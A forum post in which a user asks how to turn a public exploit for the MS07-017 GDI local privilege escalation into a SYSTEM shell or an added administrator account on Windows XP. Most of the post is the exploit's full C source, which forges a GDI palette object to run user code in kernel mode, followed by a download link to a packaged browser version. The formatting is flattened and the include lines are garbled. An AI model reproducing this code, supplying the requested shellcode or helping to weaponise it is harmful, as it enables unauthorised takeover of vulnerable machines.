Hi,
I need this exploit to escalate my privileges on a Windows Xp-box (I want administrative rights). When I use the IE-version of this exploit, it works perfect. It opens a calc.exe process. When I use the C-version, it shows me the control-registers, so that is also very good.
My question is the following:
I don't really know assembler, so can anyone explain me the shellcode used in this exploit ? It says that this exploit can execute commands with kernel-privileges. Does this mean that I am able to open a local command-prompt with system-rights or I am able to add an extra administrator-user? If so, can anyone give me the shellcode to use, and tell me how to insert that shellcode ?
Thanks in advance,
(Compiled with MinGW:> gcc -o exploit.exe exploit.c c:\mingw\lib\libgdi32.a)
/*GDI Local Elevation of Privilege Vulnerability Exploit (MS07-017)Coded by Lionel d'Hauenens[url="http://www.labo-asso.com"]http://www.labo-asso.com[/url]Development:------------Dev-C++ 4.9.9.2Linked with /lib/libgdi32.aReferences:-----------http://www.microsoft...n/MS07-017.mspxhttp://research.eeye...y/20061106.htmlhttp://www.milw0rm.com/exploits/3688http://ivanlef0u.free.fr/?p=41Avril 19, 2007*/#include#include#includetypedef enum _SECTION_INFORMATION_CLASS{SectionBasicInformation,SectionImageInformation} SECTION_INFORMATION_CLASS;typedef struct _SECTION_BASIC_INFORMATION {ULONG Base;ULONG Attributes;LARGE_INTEGER Size;} SECTION_BASIC_INFORMATION;typedef struct _GDI_ENTRY{PVOID pKernelObject;DWORD ProcessID;WORD FullUnique;BYTE Type;BYTE Flags;PVOID pUserData;} GDI_ENTRY, *PGDI_ENTRY;typedef DWORD (WINAPI* NTQUERYSECTION)(HANDLE, ULONG, PVOID,ULONG,PULONG);NTQUERYSECTION NtQuerySection;#define INT3 asm (".intel_syntax noprefix"); __asm ("int 3"); asm (".att_syntax noprefix");#define STATUS_SUCCESS 0#define PAL_TYPE 8DWORD kprocess;DWORD kthread;DWORD reg_cr0;DWORD reg_cr2;DWORD reg_cr3;DWORD reg_cr4;func_hook (){// INT3// Executed code with kernel privilegeasm ("cli ; pushal");asm (".intel_syntax noprefix");__asm ("xor esi, esi ;\xor edi,edi ;\mov ax,fs ;\cmp ax, 0x30 ;\jne no_pcr ;\mov esi, [fs:0x124] ;\mov edi, [esi+0x44] ;\no_pcr: ;\mov eax, cr0 ;\mov ebx, cr2 ;\mov ecx, cr3 ;\mov edx, cr4");asm (".att_syntax noprefix");asm ("":"=a"(reg_cr0), "=b"(reg_cr2), "=c"(reg_cr3), "=d"(reg_cr4), "=S"(kthread), "=D"(kprocess));asm ("popal ; sti");return (TRUE);}int main(int argc, char *argv[]){SECTION_BASIC_INFORMATION SectionInfo;PGDI_ENTRY pGdiEntry;PLOGPALETTE pLogPal;HANDLE hPal;DWORD OffsetGdiPalEntry;PVOID OriginalPalObject;PVOID FalsePalObject;HANDLE hThread = GetCurrentThread();DWORD OriginalThreadPriotity = GetThreadPriority (hThread);HANDLE hSection = (ULONG)0;PVOID MapFile = 0;HANDLE hProcess = GetCurrentProcess();DWORD Pid = GetCurrentProcessId();NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection");printf ("O--------------------------------------------------------O\n");printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n");printf ("# All Windows 2000/XP before MS07-017 patch #\n");printf ("#--------------------------------------------------------#\n");printf ("# coded by Lionel d'Hauenens #\n");printf ("# http://www.labo-asso.com #\n");printf ("# For educational only ! #\n");printf ("O--------------------------------------------------------O\n\n");// Create PalettepLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);pLogPal->palNumEntries = 1;pLogPal->palVersion = 0x300;hPal = (HANDLE)CreatePalette(pLogPal);if (!hPal){printf ("Could not create palette !\n");exit(0);}OffsetGdiPalEntry = (((DWORD)hPal) & 0xFFFF)*sizeof(GDI_ENTRY);OriginalPalObject = (PVOID)0;// Search handle of sectionwhile ((DWORD)hSection<0xFFFF){SectionInfo.Attributes = 0;SectionInfo.Size.QuadPart = 0;// Map section in virtual memory of userMapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0);if (MapFile){// Checking presence of user PaletteNtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);if ( SectionInfo.Attributes == SEC_COMMIT &&OffsetGdiPalEntry+sizeof(GDI_ENTRY) <= SectionInfo.Size.QuadPart ){pGdiEntry = (PGDI_ENTRY)(MapFile+OffsetGdiPalEntry);if ( (pGdiEntry->ProcessID & 0xFFFFFFFE) == Pid &&pGdiEntry->Type == PAL_TYPE ){// Save original pointer of pal objectOriginalPalObject = (PVOID)pGdiEntry->pKernelObject;break;}}UnmapViewOfFile(MapFile);MapFile = 0;}hSection++;}if (!OriginalPalObject){printf ("Could not find Pal object in kernel table !\n");exit(0);}// Create the false Pal objectFalsePalObject = (PVOID) calloc(0x100/4,4);((PDWORD)FalsePalObject)[0] = (DWORD) hPal; // Handle((PDWORD)FalsePalObject)[0x14/4] = (DWORD) pLogPal->palNumEntries;((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &func_hook; // Hook Interface with user function// original -> win32k!NtGdiGetNearestPaletteIndex////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////kprocess = 0;kthread = 0;reg_cr0 = 0;reg_cr2 = 0;reg_cr3 = 0;reg_cr4 = 0;SetThreadPriority (hThread, THREAD_PRIORITY_TIME_CRITICAL);// Activates false Pal objectpGdiEntry->pKernelObject = FalsePalObject;GetNearestPaletteIndex (hPal, 0); //--> call func_hook() with kernel privilege smile.gif;// Restores original Pal objectpGdiEntry->pKernelObject = OriginalPalObject;SetThreadPriority (hThread,OriginalThreadPriotity);////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////printf ("KPROCESS : 0x%08X\n", kprocess);printf ("KTHREAD : 0x%08X\n\n", kthread);printf ("Control Registers\n");printf ("-----------------\n");printf ("CR0 = 0x%08X\n", reg_cr0);printf ("CR2 = 0x%08X\n", reg_cr2);printf ("CR3 = 0x%08X\n", reg_cr3);printf ("CR4 = 0x%08X\n", reg_cr4);UnmapViewOfFile(MapFile);DeleteObject ((HANDLE)hPal);free((PVOID)pLogPal);free((PVOID)FalsePalObject);printf ("\n\n");system("PAUSE");return (0);}IE-version:
http://rapidshare.co...3019649/aaa.zip
